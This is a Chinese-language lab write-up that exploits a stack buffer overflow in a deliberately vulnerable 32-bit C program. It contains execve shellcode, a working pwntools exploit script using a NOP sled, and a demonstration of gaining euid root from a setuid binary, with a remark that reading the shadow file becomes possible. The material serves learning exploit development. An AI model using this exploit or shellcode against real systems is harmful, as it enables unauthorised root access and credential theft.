记录一下学习没有安全防护机制的 rop, 实验部分来自 wooyun1, 理论部分来 SEED2. 需要安装 peda 和 pwn(python 库), 还要准备一个 32 位的 ubuntu 的环境.
存在在缓冲区溢出的 C 代码.
/*
* gcc -fno-stack-protector -m32 -z execstack -o level1 stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
pead 可以帮你生成用于测试缓冲区的填充数据.
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ run
Starting program: /home/Sn0rt/workspace/exp_devel_doc/lab/level1
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-16.fc23.i686
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x97
EBX: 0x0
ECX: 0xffffcef0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377")
EDX: 0x100
ESI: 0x1
EDI: 0xf7fb4000 --> 0x1c8db0
EBP: 0x41514141 ('AAQA')
ESP: 0xffffcf80 ("RAAoAA\n\377")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 ("RAAoAA\n\377")
0004| 0xffffcf84 --> 0xff0a4141
0008| 0xffffcf88 --> 0x0
0012| 0xffffcf8c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10)
0016| 0xffffcf90 --> 0x1
0020| 0xffffcf94 --> 0xf7fb4000 --> 0x1c8db0
0024| 0xffffcf98 --> 0x0
0028| 0xffffcf9c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset AmAA
AmAA found at offset: 140
peda 可以帮你生成测试用的 shellcode, 这个 shellcode 看见参数可以猜测就是执行一个 shell 没有 setuid(0).
Sn0rt@warzone:~/lab$ gdb -q --batch -ex "shellcode generate x86/linux exec"
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
也可以把 shelllcode 取出来, 放到环境变量里面, 虽然在这个 lab 里面没有用上, 但是 shellcode 放置在环境变量中也是个思路, 尤其是当 buffer 不够放置 shellcode 时候尤为合适.
Sn0rt@warzone:~/lab$ for i in $(cat up_filename.c|grep "^\"" | cut -d\" -f2); do echo -en $i; done
程序在 140 字节时候的字节覆盖了 eip, 那么可以把 shellcode 放到内存里面, 然后通过溢出 eip 来转跳到 shellcode 地址开始执行, 不过这个有点难度可以使用 nop 来布置一下内存, 让 eip 落到 nop 的地方, 在一堆 nop 之后放置 shellcode, 这样难度小一点, 这个具体要看实际情况, 我们的 shellcode 24 字节远远小于 140 字节的缓冲区大小, 那么缓冲区布局可以是
nop + shellcode + 'AAA..' + return
exp 整理, 把 peda 生成的 shellcode 复制进去.
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbfffffff
shellcode = "\x90" * 20
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
shellcode += "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
exp 调整, 把 ret 地址换成缓冲区开始地址 (0xbffff5d0), 应为我在栈上布置了 20 字节的 nop, 所有 ret 等于开始地址 +20 以内就可以了.
Sn0rt@warzone:~/lab$ ls /tmp/
total 76
-rw------- 1 Sn0rt Sn0rt 221184 May 23 12:07 core.1464019622
Sn0rt@warzone:~/lab$ gdb level1 /tmp/core.1464019622
Reading symbols from level1...(no debugging symbols found)...done.
[New LWP 2123]
Core was generated by `./level1'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xbffff65e in ?? ()
gdb-peda$ x/s $esp-144
0xbffff5d0: "1\300Ph//shh/bin\211\343\061ɉ\312j\vX̀", 'A' <repeats 116 times>, "\020\366\377\277\304\323", <incomplete sequence \374\267>
gdb-peda$ quit
Sn0rt@warzone:~/lab$ vim exp.py
Sn0rt@warzone:~/lab$ python exp.py
[+] Starting program './level1': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
最基本的栈溢出完成.
在 SEED 文档里面提及, 关于替换 sh 符号链接提高安全性. 然后测试结果ln -s /bin/zsh /bin/sh
使的 exp 变的失效, 和 SSED 参考手册里面不一致 (可能是 zsh 版本).
ln -s /bin/bash /bin/sh
or ln -s /bin/dash /bin/sh
exp 能继续执行.
Sn0rt@warzone:~/lab$ zsh --version
zsh 5.0.2 (i686-pc-linux-gnu)
Sn0rt@warzone:~/lab$ bash --version
GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)
Sn0rt@warzone:~/lab$ sudo chown root:root level1
Sn0rt@warzone:~/lab$ sudo chmod u+s level1
Sn0rt@warzone:~/lab$ python exp_level1.py
[+] Starting program './level1': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) euid=0(root) groups=0(root),1043(Sn0rt)
$ passwd root
passwd: You may not view or modify password information for root.
uid 不是 root,euid() 是 root, 虽然不能修改 root 密码, 但是 dump shadow 不是问题, 这个现象应该就是 SEED 里面说的 (虽然 zsh 高版本好像显的更安全).
Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool”a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash.
不过把 uid 变成 0 也可以的, 因为 bash 起码 root 能用, 可以让 shellcode 执行setuid(0)
把 setuid root 的进程变成真正的 root 进程, 然后execve("/bin//sh", ["/bin//sh", NULL], [NULL])
.